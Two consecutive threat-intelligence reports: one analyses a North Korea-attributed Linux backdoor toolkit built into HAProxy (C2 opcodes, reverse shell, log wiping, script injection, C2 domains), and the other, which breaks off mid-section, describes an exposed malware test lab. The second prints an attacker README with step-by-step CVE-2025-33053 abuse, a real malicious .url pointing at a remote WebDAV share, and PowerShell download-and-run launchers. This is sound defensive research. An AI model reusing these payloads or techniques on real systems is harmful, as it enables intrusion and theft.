A new Linux toolkit, identified by Rapid7 Labs, has been targeting organizations across South Korea’s automotive and media industries with minimal detection. The campaign made use of a HAProxy instance named “ted backdoor”, alongside trojanized versions of crond, agetty, atd, sshd, and polkitd. This previously undocumented framework enabled threat actors to execute remote commands on compromised servers, inject malicious scripts into web traffic, perform credential harvesting, and engage in long-term surveillance.
The standout feature of this toolkit is its depth of integration with the target environment. The ted backdoor is compiled as part of the victim’s existing HAProxy version 2.8.12. It uses its native filter API, internal memory pools, event scheduler, and process management infrastructure to intercept traffic and hide from monitoring, while genuine load balancing traffic operates as expected.
Operating alongside this are an SSH keylogger, a curl-based RAT, and a stager. The RAT maintains a watchdog thread dedicated to tracking HAProxy’s health, and reporting it back to the operator’s infrastructure. The earliest uploads on VirusTotal date back to mid-2025 and the involved HAProxy 2.8.12-0fdb194was released on 22 November 2024, establishing this as the earliest possible compilation date for this build.
The toolkit is attributed with medium confidence to DPRK APTs, given that the attacks Rapid7 observed were targeting South Korean media and automotive sectors, likely aiming at long-term espionage, the usage of simple xor-based encryption, custom substitution cipher, and the list of C2s hardcoded is associated to APT37 by ThreatFox and maltrail. Analysis shows that the ted backdoor could be part of a broader framework covering nginx backdoor as well. The ted plugin registers a custom HAProxy filter that hooks the HTTP parser to inspect and log high-value traffic, steal session cookies, and perform a client IP selection to decide whether to inject custom scripts in the webpage being rendered.
Technical analysis
Rapid7 researchers revealed that the toolkit was used in campaigns targeting South Korean automotive and media sectors likely dating back to early 2025. The number of trojanized binaries and functionalities found suggest the scope could be long-term cyber espionage and surveillance. However, gathered evidence does not suffice to establish a timeline nor how the initial access was performed.
At the time of analysis, both victims were running an edge webserver with ports 80, 443, and 25 exposed. Port 443 hosted the Groupware login portal and port 25 exposed a mail server. Either surface represents a plausible initial access vector consistent with documented Kimsuky tradecraft. Since the beginning of 2026 Kimsuky has been observed exploiting RCE vulnerabilities in externally accessible mail servers to compromise South Korean groupware vendors, while Groupware web portals represent the kind of exposed authenticated application that DPRK-nexus actors have repeatedly targeted for credential harvesting and exploitation. The specific entry point and any associated CVE remain unconfirmed pending further forensic evidence.
The scenario shown in Figure 1 assumes the initial access is obtained by exploitation of CVEs related to the Groupware portal.
Figure 1: Attack chain partially reconstructed
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The threat actor begins by exploiting a vulnerability in the Groupware login portal running on the edge webserver, gaining an initial foothold in the DMZ. From there, they establish persistence and harvest credentials from the compromised edge host (e.g. SSH keylogger), which also doubles as a staging server hosting the trojanized system ELFs.
With a foothold on the edge, the attacker pivots inward and drops the stager onto internal servers. The stager checks for the presence of either crond or HAProxy, and only then deploys CurlRAT retrieving it either from its data section or the edge webserver.
In parallel, ted backdoor is dropped onto the HAProxy load balancer. Once active,it establishes its own C2 channel to the external operator infrastructure, enabling data exfiltration, command execution, and script injection. On the victim side, the compromised load balancer silently redirects or serves malicious content to selected clients browsing through it, completing the watering-hole loop.
SSH keylogger
4bb923eb040aa13ca8fd409c31ee4729c60ddff32e350efe1c5a4a9168a065f5 intercepts legitimate users’ plaintext passwords and saves them to an encrypted log file under /var/lib/sshd/c8c68e629bba773a10ac80012d10bf19.
Figure 2: hardcoded master passwords in userauth_passwd()
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After checking that entered credentials are not equal to TA’s master passwords, userauth_passwd() proceeds to encrypt them using a custom substitution cipher recurring throughout the toolkit and base64 encoding.
Figure 3: Substitution cipher used to encrypt credentials
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Pivoting from the above cipher, instances of polkitd, crond, agetty and atd binaries were identified using a similar encryption algorithm. Crond binaries were found to be delivered by a stager.
CurlRAT Stager
The stager 5db1b6d52faf60b4f32d6fd0c7c938e4d05d29a14c32ded4a9668357c08b6a91 starts by decrypting its configuration strings using a 1-byte XOR, then verifies root privileges and profiles the OS checking system hostname, OS distribution and version IDs, kernel release and version numbers and CPU architecture to select the correct payload to drop. It decrypts the trojanized crond binary in memory, overwrites the system’s legitimate daemon, and restarts the service. As shown below, only if HAProxy or cron are running on the system will it proceed to drop the backdoored crond.
Figure 4: Stager configuration
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Checking for HAProxy presence is done as the binary, named by TA as ted backdoor. It also has RAT capabilities and plays a major role in the campaigns described. The embedded crond versions supported are CentOS 7.7, 7.8, 7.9 and Ubuntu 22.04 and after installing the backdoor, timestomping ensures the crond binary gets the same creation timestamp of /usr/bin/ssh. The stager ends by filtering out keywords such as tmp, wget cron and crond from Linux system logs using a staging file named /tmp/jasper-log, likely to blend in as the JSP (JavaServer Pages) engine in old Apache Tomcat versions, erasing any traces of the installation. The logs affected by the selective erasure are /root/.bash_history and the following under /var/log: messages, audit/audit.log, cmd.log, secure, syslog, auth.log.
09739441ed4599bac2f8159028f772f71e4b25c8badfff95574e56d7384f3dbe and fea1bc36632c71e5a839803469ef60ac47595d36b2c50934ac109ade6df06e61 are a different variant of the stager that fetches backdoored binaries from a compromised victim’s server without embedding any payloads.
CurlRAT
The Ubuntu version is analyzed below, though CentOS samples follow the same logic except for the filepath used to hide config/staging files.
As for the stager, feeea9d0bf6ae7396d28271baa51ae50df5169ce5d32a516865856f91abc50b3 starts by decrypting configuration strings using a 1-byte XOR key (0x58).
Figure 5: curlRAT configuration
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The main logic added to crond is executed via two threads. The first thread runs the start_routine function that creates the staging directory snapd under /var/lib, where it attempts to load the victim ID from /var/lib/snapd/g580. If network failures were previously recorded, it reaches out to a secondary domain – img.darklights.store – authenticating with api_token/ecd427ea8330a4ff73618483e00b9b41 and setting the User-token header to the victim ID to fetch updated configuration under /tmp/nimon.unix-docbase.8564479396043450766-db6fb4443bc, where it’s then copied into /var/lib/snapd/g105.
To decrypt the configuration, the first byte of the file initializes the seed of a feedback xor based cipher. Each poll cycle, a config file is fetched from the C2 server over HTTPS (falling back to HTTP on failure) using libcurl, with the victim token embedded in the User-token header. The fetched config is parsed for three single-character delimiters — ! terminates the credential field, # marks the payload section, and * separates arguments — after which the credential field is compared against the local victim token.
If authentication succeeds, a single-character mode byte (ASCII ‘0’ through ‘5’) preceding the delimiter “#” selects one of six handler routines via a jump table. Payloads embedded in the config are decoded through a two-stage pipeline: standard Base64 decoding followed by a rolling cumulative XOR cipher keyed from the decoded header. The C2 task handler sleeps for 43,200 seconds (12 hours) between polls by default, but the operator can activate a fast-poll mode by setting a flag, reducing the interval to 30 seconds. A retry loop calls the handler up to six times per cycle with five-second intervals, failing fast if the first attempt does not succeed. The table below shows the C2 commands accepted.
Mode
Function
Description
0
cmd execution
Base64 + XOR-decodes a command list from the config, executes each line via popen with stderr redirected to stdout, saves output into a 1 MB buffer, and sends the result back.
1
config write
Decodes and writes a new config payload to disk, validates it, and sets the polling interval and fast-poll flag. If the validation fails, the C2 resets to img.monderhouse.space
2
staged payload drop
Issues an authenticated HTTP POST to the C2 host with a task path as the body, streams the response to a temporary file, decompresses and moves it to the final drop path, unlinking the temp.
3
reverse shell
Closes all file descriptors above 2, calls setuid(0) and setreuid(0, 0), forcing both its real and effective user IDs to root, and connects out before handing off to the shell dispatcher.
4
beacon
Populates a 10 KB system-info structure and transmits it as a check-in beacon.
5
PTY shell
A full interactive PTY shell, the payload consists of an ip:port.
Modes 0–2 and 4 use libcurl-based HTTP/HTTPS, hence the name curlRAT. All modes use Base64+XOR encoding/decoding applied to the payload. The victim ID is obtained by concatenating “cron_3.0pl1-137ubuntu3“, system hostname, ipv4 address, and the hardware/OS UUID (read from /sys/class/dmi/id/product_uuid), then applying MD5 hash and converting it to uppercase.
The layer of encryption used for all C2 interactions consists of a feedback xor cipher using an initial random seed (modulo 240 + 10, 0<=seed<=249) and then applying Base64 encoding. The malware encapsulates the encrypted and encoded payload, the service name, and the telemetry type into a formatted application/x-www-form-urlencoded HTTP POST body (name=%s&value=%s&type=%d) which is sent to the C2 and authenticated using an hardcoded API token, including the victim ID in the User-token header.
The second thread acts as the HAProxy watchdog. Before entering the monitoring loop, it checks for the presence of the file /usr/lib/libvirtlog.so.0 to ensure the target is running in a virtualized environment, otherwise it sleeps 6 minutes and aborts. Then it accesses the MD5 victim ID under /var/lib/snapd/g580 to check if the node is active and compromised. Every hour the watchdog reads the pid at /var/run/haproxy.pid and monitors the status of HAProxy by polling /proc/pid. The status can be one of the following codes:
0 (Started): Process transitioned from stopped to running
1 (Stopped): Process is no longer active in the kernel process table
2 (Restarted): PID file timestamp modified, and a new PID is detected
3 (Reloaded): PID file timestamp modified, but the PID remained identical
The status is then sent to the C2 endpoint “writeservice_info” using the custom crypto layer and the telemetry type set to 0 (Figure 6).
Figure 6: writeinfo_service monitoring HAProxy status
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The CentOS versions of curlRAT contain the same functionalities, except that functions are masqueraded as atd_ routines to blend in during static analysis.
Figure 7: The two threads running curlRAT logic
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Below is the table summarizing the main RAT components.
The atd_get_info() is a recon routine likely used to decide which binary trojanized next to ensure persistence on the node. It collects the service name of the compromised machine and sends it to the C2 via the atd_response routine together with Ipv4 address, OS version, and the list of services and listening port (Figure 9).
Figure 9: Recon module output sent to the C2
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MODE, DELAY and SERVER_URL are parsed from the config file discussed previously. During the campaign observed by Rapid7, the RAT acts as a framework and constitutes the codebase to edit legitimate system daemons. Other trojanized instances found are agetty and polkitd, where we identified a similar pattern lacking the HAProxy monitor: the creation of a thread to run curlRAT, reaching to img.worksongo.store and img.socialteams.store respectively.
atd_encrypt_url and atd_decrypt_url leverages the substitution cipher “E1x0X3f2R5w4g7u6D968kAeCdBPEpDhGJF4IiHHKzJvMtLlOnNcQmPNSjR2UFTUWOVTYIXZZ5aWcQbbeqd7gYf3i8hykGjCmsl9oonrqSp0sVrauKtLwAvBy1xMz=.#,+/–__” shared with the ssh keylogger.
Ted backdoor
The TA recompiled the HAProxy build 2.8.12 72e70936f0dbe459142a1d867617c35f8d0cce5d18c6a49e1090a2a5adc8e558 (18MB) to include a custom plugin (named ted_plugin) leaving debug strings naming the backdoor.
Figure 10: ted_plugin compiled as part of the source code
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Figure 10 shows that the plugin was directly compiled with the rest of HAProxy source code and hooks directly the built-in HTTP parser relying on internal HAProxy structure for searching HTTP request headers.The custom filter defined to capture traffic is loaded via the ted_load_filter_config routine.
Figure 11: my_filter_config struct
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The routine reads the implant’s operational configuration from ~/cache/haproxy-1000.cache. Each field is decrypted in two layers: first ngx_decode applies a chained XOR seeded by the file’s first byte; then ngx_decrypt_script applies a monoalphabetic substitution whose 67-entry mapping table is built at startup in ted_init_util from “E1x0X3f2R5w4g7u6D968kAeCdBPEpDhGJF4IiHHKzJvMtLlOnNcQmPNSjR2UFTUWOVTYIXZZ5aWcQbbeqd7gYf3i8hykGjCmsl9oonrqSp0sVrauKtLwAvBy1xMz=.#,+/–__” , and held in the ted_dec_dict uthash table keyed by Jenkins hash for O(1) lookup. The config carries the operating mode, all targeting regexes, every script rule with its payload paths and filenames, and the allowed operator keys. IP-based access control lists are loaded from haproxy-1001.cache and haproxy-1002.cache via the same decryption scheme. In other ted backdoor samples, the my_filter_config struct includes regexes to capture cookies as well.
After loading its configuration, it sets up signal handling via ted_register_reload_signal_handler() and saves its C2 pipe under HAPROXY_MWORKER_PP_READ and HAPROXY_MWORKER_PP_WRITE environmental variables to survive reloads and restarts, saving child process activity via ted_extra_log().
Below is the list of functions defined by the ted_plugin:
trace_chn_start_analyze() is hooked via ted_chn_analyze_for_htx_constprop_0() that parses the HTX buffer — the memory region where HAProxy stores parsed, SSL-decrypted HTTP request. If an incoming request matches the endpoint “/favorite_list_2x_m500_ico.jpg” (Figure 13), the malware drops into a Command & Control mode, setting the field flag to 1 in the ted_rep_state structure that tracks the response state.
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Figure 13: Dropping into C2 mode
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First, it reaches into HAProxy’s internal counters to decrement active connection stats, referencing fields from the proxy struct via hardcoded 2.8.12 offsets to clear any trace left: the per-backend beconn/feconn and the global actconn, then 64-bit fields within be_counters (cum_conn, cum_req, bytes_in, bytes_out) guarded against underflow, and 32-bit peak metrics (sps_max, conn_max, cps_max) decremented only when exactly 1. Secondly, it parses a custom hardcoded 14-byte header to obtain the payload length, then creates FIFO pipes via ted_make_pipe_name and ted_create_multi_pipe_file keyed on HAProxy’s connection ID under /tmp (e.g. /tmp/t[ID]_w.pipe). If HAProxy is running in master-worker mode (MODE_MWORKER, bit 0x80), the connection ID is written to the pp_w2m pipe so the master process runs the dispatcher; otherwise a detached thread runs ted_pipe_worker_thread locally (Figure 13).
The HTX walk filters on block type 4, which is HTX_BLK_DATA, and writes each block straight into fdPipe with write(). Any short write aborts and closes the pipe. Afterwards to_forward, output, buf.head and buf.data on the request channel are all zeroed. That tells HAProxy there is nothing left to forward, so the attacker’s command body never reaches a backend server. The C2 request terminates at the load balancer, and no backend ever logs it.
The C2 dispatcher logic is resumed in the table below.
Command
Description
Opcode ‘0’ (0x30)
Beacon: returns a version banner including build ID (24112201), HAProxy version (2.8.12-0fdb194), master-worker mode status, and chroot path.
Opcode ‘1’ (0x31)
File upload: resolves path via ted_build_correct_path, writes file content via fopen(path, “wb”), and replies 1. Used to upload payload files for the injection path.
Opcode ‘2’ (0x32)
File download: reads a path, stats it, writes the 8-byte size, and streams the contents back with EAGAIN handling.
Opcode ‘3’ (0x33)
Command execution: executes commands via popen; merges stdout/stderr, appends ” 2>&1″, and streams output back XOR-encrypted.
Opcode ‘9’ (0x39)
Config update: writes new config to ~/cache/haproxy-1000.cache.bak, re-encrypts using chained XOR, validates via ted_load_filter_config, and renames over the active config file if successful.
All five handlers write the same “HTTP/1.0 200 OK” header with Content-Type: text/html into the read pipe before the body. That’s what the response task then relays out via send() on the raw socket, which is why the traffic looks like an ordinary HTTP response on the wire despite never passing through HAProxy’s response path. Output back to the operator uses a rolling XOR cipher where each plaintext block is the key used to encrypt the next block with a random 1-byte seed.
If the initial endpoint check does not match “/favorite_list_2x_m500_ico.jpg” and the filter is in capture mode, then traffic is selectively logged and victims are identified based on the capturelist_set field within the my_filter_config struct (Figure 11), containing the list of targeted IPs and subnets. It uses regular expressions to filter the incoming HTTP traffic, waiting for high-value requests (like a user hitting a /login endpoint or an admin panel).
When a victim’s request matches the attacker’s filters, the backdoor goes to work.
It extracts the victim’s source IP, the requested Host, the Referer, and the User-Agent formatting the data in a single-line record using exclamation marks as separators.
Figure 14: Real-time capturing of selected HTTP headers matching specific regexes
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The execution flow continues based on conf->action; zero means passive logging only, non-zero starts the injection path. A request then has to clear four conditions. It needs a User-Agent, and if agent_pattern is configured that regex has to match. Second, the code scans the User-Agent for the bytes x,6,4, it selects between the two payload paths the matched rule retrieving them ted_script_config struct (path_32 at offset 0x18 and path_64 at 0x20). Third, the script rule list is walked until one ted_script_config entry’s URL and referer regexes both match, with a null referer counting as an automatic pass. Thus the operator catches a victim arriving at a specific page from a specific referrer, rather than spraying at everyone hitting a URL.
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Figure 15: Custom ted structure defined to inject malicious code in the page, and store regex rules and the connection context
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Fourth, the implant parses Accept–Language splitting on ; and =, pulling four operator-controlled fields: mrt for the 64-byte uid credential, msc for an 8-byte status, mst for an 8-byte score, and a fourth keyword read from off_355407 for a 1024-byte infoblob. Parsing is order-independent and any subset can appear. If mrt yields a key, it must exist in allow_id_set, and that credential overrides IP filtering entirely, letting the operator reach the requested page from anywhere. It also upgrades the log record to the *-prefixed format carrying uid, status,score, and info. With no key, the fallback is IP-based:action == 1requires whitelist membership, action == 2 requires blacklist absence, both checked twice, once with the final octet zeroed for /24 subnet matching and once for the exact host.
Once all checks are cleared the chosen file is opened, stored in the per-connection ted_rep_state as fpAppend and nTotal, alongside a script_conf back-reference to the matched rule. The replace byte at offset 0x00 of that rule sets flag to 4 when zero and 2 when non-zero, distinguishing appending content from substituting it. Finally the code sets its filter flag and increments nb_rsp_data_filters or nb_req_data_filters on the stream, which is HAProxy’s documented opt-in for body access– this time reusing the internal structure of the load balancer to inject code into the page at delivery time.
Figure 16: Hooking the HTTP response
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Once a victim is marked for injection, two callbacks finish the job on the way out. ted_http_headers_for_htx runs first, and only when the data is on the response side, a state block is initialized during the request, and the transaction flag is set. It rechecks the response against the rule that matched earlier, testing Content-Type and the status line, so a payload is delivered only when the reply is a document worth modifying. It then reshapes the response to fit the incoming file: sets Content-Type, adds a Content-Disposition filename if the rule has one, writes the new body length into the custom length header, deletes Accept-Ranges so the client cannot request byte ranges and spot the size mismatch, and forces the status to 200OK if it was anything else.
ted_http_payload performs the swap. For each body chunk, it takes only as much as the payload file has left, reads that slice from disk, decrypts it with ngx_decrypt_script, and substitutes it through HAProxy’s own body-editing calls. When the replacement changes the body length, the code shifts every remaining filter’s offset by the difference, so nothing downstream sees an inconsistency. With the rewritten length header and range support stripped, the size change leaves no trace.
trace_http_end handles the leftover bytes. The previous callback can only overwrite bytes that already exist in the response, so when the payload is larger than the original body there is a remainder with nowhere to go. This function runs at the end of the response and appends it. It checks that the state block is in an injection mode, that the headers were already rewritten, and that fewer bytes have been delivered than the payload holds. If so, it measures the free space left in the response buffer, reads exactly that much from the payload file, decrypts it with ngx_decrypt_script, and appends it as a new data block, bumping the channel’s output count to match.
The result is that a payload of any size can be delivered across as many passes as it takes, using HAProxy’s own scheduler to drive the process.
To ensure persistence, curlRAT is integrated and hidden as libc routines.
Figure 17: ted backdoor including curlRAT configuration a8bfab4de81a1acb04aacdf757346946b0f5e30f0c9f402004016d0e425119c7
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Attacker infrastructure
The observed infrastructure follows a consistent pattern: Domains are registered under low-cost commodity TLDs —.store, .space, .site, .autos — and use subdomain schemes mimicking image-serving CDN endpoints (img.) They then blend payload delivery traffic into normal web browsing. The naming convention across suggests a shared registration workflow rather than ad-hoc infrastructure. Theimg.responsive.pstatic.autos mimics Naver’spstatic.net static content domain, a South Korean web platform, which combined with the watering-hole delivery model adopted by the ted backdoor is consistent with targeting of Korean-speaking users.
Attribution
At the time of the analysis, compromised servers had exposed the Groupware login portal on port 443, which is heavily present in Korean enterprise environments. The targeting of regional software (Groupware), mimicking Naver’s static content domain, usage of simple xor and substitution ciphers and the watering-hole model already documented in the Operation Code on Toast (APT37)and Operation Synchole (Lazarus),allows medium confidence attribution to DPRK APT. The list of C2s hardcoded is associated with APT37 by ThreatFox and maltrail.
The campaign’s timeline and delivery mechanism overlap with Operation SyncHole, a concurrent Lazarus campaign documented by Kaspersky running from November 2024 through February 2025, in which Lazarus compromised South Korean media sites to redirect visitors to pages serving malicious JavaScript payloads. APT37 and Lazarus Group are distinct North Korean state-sponsored threat clusters assessed by Mandiant to operate under different DPRK agencies — APT37 under the Ministry of State Security, Lazarus under the Reconnaissance General Bureau — though both conduct cyber espionage targeting South Korean entities. Lazarus has been observed to deploy backdoored open-source programs to deliver malware and use feedback XOR + base64 to interact with the C2 by Kaspersky. As of July 2026, similar suspected initial access has been reported by ENKI WhiteHat, suggesting that if a vulnerability in South Korean mail appliances exists, the exploitation could still be ongoing and leveraged by DPRK APTs.
Further evidence is necessary to make a more definitive assessment. Moreover, the presence ofngx_* prefixed routines within the ted backdoorsuggest code reused from an nginx backdoor. The ngx_* prefixed routines were observed during the latest Funnull campaign, where (similar to our case) a custom nginx filter was registered to hook HTTP traffic, and simple XOR encryption was applied to the configuration file. However, other than a similar naming convention, no significant code-level overlaps exist to support a stronger linkage.
Conclusion
ted backdoor and curlRAT were designed to persist during long-term espionage operations with the ability to steal cookie sessions, credentials, redirect selected users, conduct drive-by download attacks, and hide evidence of the tampered page to a specific range of IPs to evade detection. Defenders should treat any edge component managing user traffic, SSL, or runtime modules with the same strict security standards as their main application servers. Relying on the component’s own logs is not enough; securing these systems requires independent network correlation, memory behavioral analysis, and binary integrity checks.
MITRE ATT&CK techniques
Tactic
Technique
Detail
Component
Initial access
[T1190] Exploit public-facing application
HAProxy filter API abused as injection point; watering-hole payload delivery via compromised load balancer
ted backdoor
Execution
[T1059.004] Unix shell
popen() used for one-shot command execution per opcode ‘3’; PTY shell spawned per opcode ‘5’; reverse shell per opcode ‘3’ in CurlRAT
ted backdoor, CurlRAT
Execution
[T1106] Native API
pthread_create / pthread_detach for detached shell threads; HAProxy pool_alloc / task_wakeup for async response scheduling
ted backdoor
Persistence
[T1574.006] Hijack execution flow: dynamic linker
Implant loaded as HAProxy shared library filter at process start; persistent across HAProxy restarts
ted backdoor
Persistence
[T1543] Create or modify system process
Legitimate crond binary overwritten in-place; service restarted; timestomping to match /usr/bin/ssh creation time
Stager, CurlRAT
Privilege escalation
[T1548] Abuse elevation control mechanism
setuid(0) / setreuid(0,0) called before reverse shell daemonisation; stager verifies root before payload drop
Stager, CurlRAT
Defence evasion
[T1036.005] Masquerade: match legitimate name
crond, polkitd, agetty, atd binary names used; CentOS variant masquerades functions as atd_ routines in static analysis
Stager, CurlRAT
Defence evasion
[T1070.002] Clear Linux logs
Selective keyword erasure (tmp, wget, cron, crond) from bash_history, messages, audit.log, secure, syslog, auth.log via /tmp/jasper-log staging file
Stager
Defence evasion
[T1070.006] Timestomp
Backdoored crond given same creation timestamp as /usr/bin/ssh post-install
Response body replaced or appended with decrypted payload script via HAProxy data filter callbacks; Content-Type, Content-Length, Content-Disposition rewritten; 200 OK forced; Accept-Ranges stripped
ted backdoor
Collection
[T1119] Automated collection
Passive capture logs timestamped records per matched request; expanded * records written when Accept-Language mrt key present
ted backdoor
C2
[T1071.001] Application layer protocol: web protocols
ted C2 tunnelled as HTTP through load balancer; CurlRAT polls C2 over HTTPS with libcurl fallback to HTTP; all payloads as application/x-www-form-urlencoded POST
CurlRAT, ted backdoor
C2
[T1132.001] Data encoding: standard encoding
All CurlRAT C2 payloads Base64-encoded after feedback XOR; ted pipe protocol uses raw bytes with rolling XOR session key
CurlRAT, ted backdoor
C2
[T1102] Web service
CurlRAT falls back to secondary C2 img.monderhouse.space on config validation failure; img.darklights.store used as backup config host
CurlRAT
C2
[T1572] Protocol tunnelling
Interactive shell tunnelled through HAProxy HTTP pipeline via named FIFOs; response exfiltrated via raw send() on TCP socket bypassing HAProxy logging
ted backdoor
C2
[T1568] Dynamic resolution
CurlRAT victim ID derived from hostname + IP + hardware UUID + cron version string, MD5’d and uppercased; used as User-token header in all C2 requests
CurlRAT
Exfiltration
[T1041] Exfiltration over C2 channel
SSH credentials exfiltrated via CurlRAT C2; session capture logs written by ted; CurlRAT mode 0 streams command output back over same channel
Stager, CurlRAT, ted backdoor, SSH keylogger
Exfiltration
[T1560] Archive collected data
SSH keylogger output encrypted with substitution cipher before writing; CurlRAT applies feedback XOR + Base64 to all outbound data
An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.
Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.
This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.
Introduction: From MDR alert to attacker infrastructure
The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.
That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn’t just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.
At a high level, the 1,048 files clustered as follows:
Category
Files
Functions and discoveries
LNK delivery launchers
453
Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths
Filename-spoofing QA
236
Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior
URL/LOLBin execution tests
146
Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution
Encrypted droppers
89
Staged second-stage payloads and installer-style packages
Alternative execution containers
24
search-ms, library-ms, .cpl, and related delivery containers
Payload stubs and spoofed executables
21
Smaller loaders, decoys, and renamed binaries
WebDAV scripts
17
Scripts intended to make WebDAV delivery more reliable on Windows systems
Builder and operator notes
10
README files, test reports, mappings, and generation scripts
ClickFix HTML lures
9
Browser-based social-engineering pages instructing users to run commands
Miscellaneous files
6
Included documentation for the actor’s WebDAV delivery/admin panel
Table 1: Breakdown of files recovered from the attacker’s delivery workspace
Technical analysis and observed attacker behavior
Attackers testing like a product team
The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.
The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.
Figure 1: Snippet of one of many subfolders containing testing files.
⠀
Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.
CVE
Observed samples
Short description
CVE-2025-33053
11
Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)
CVE-2026-21513
4
MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)
CVE-2025-24054
1
Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)
Table 2: CVE references observed in the exposed directory.
The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.
The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.
CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================
WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!
HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!
REQUIREMENTS TO MAKE TEST WORK:
================================
1. iediagcmd.exe MUST exist on victim machine
Path: C:\Program Files\Internet Explorer\iediagcmd.exe
- Win10 (1607-22H2): YES
- Win11 21H2/22H2/23H2: usually YES
- Win11 24H2 (IE removed): NO (this is why your F-series failed!)
- Check on victim:
dir "C:\Program Files\Internet Explorer\iediagcmd.exe"
2. WebDAV MUST have file named EXACTLY "route.exe"
NOT putty.exe! iediagcmd will only execute these names:
- route.exe
- ipconfig.exe
- netsh.exe
- ping.exe
On your WebDAV server, RENAME putty.exe to route.exe
Place at: \\TA_C2\Downloads\route.exe
3. Microsoft patch from June 2025 MUST NOT be installed
Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
If patched, exploit fails.
ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
(mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
(if Office is installed)
REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D
Figure 2: Contents of README, likely generated by LLM, found in the exposed directory. ⠀
The testing approach was methodical and included the below:
Transports: WebDAV over @80 and @ssl@443
Path formats: DavWWWRoot vs. plain UNC
Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent
Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(…), hidden/minimized windows
Explorer containers: search-ms: queries and .library-ms files exposing remote payloads
ClickFix pages: relying on user copy/paste execution
Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr
The lure factory
The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.
Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.
The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.
The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.
The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.
The payload chains
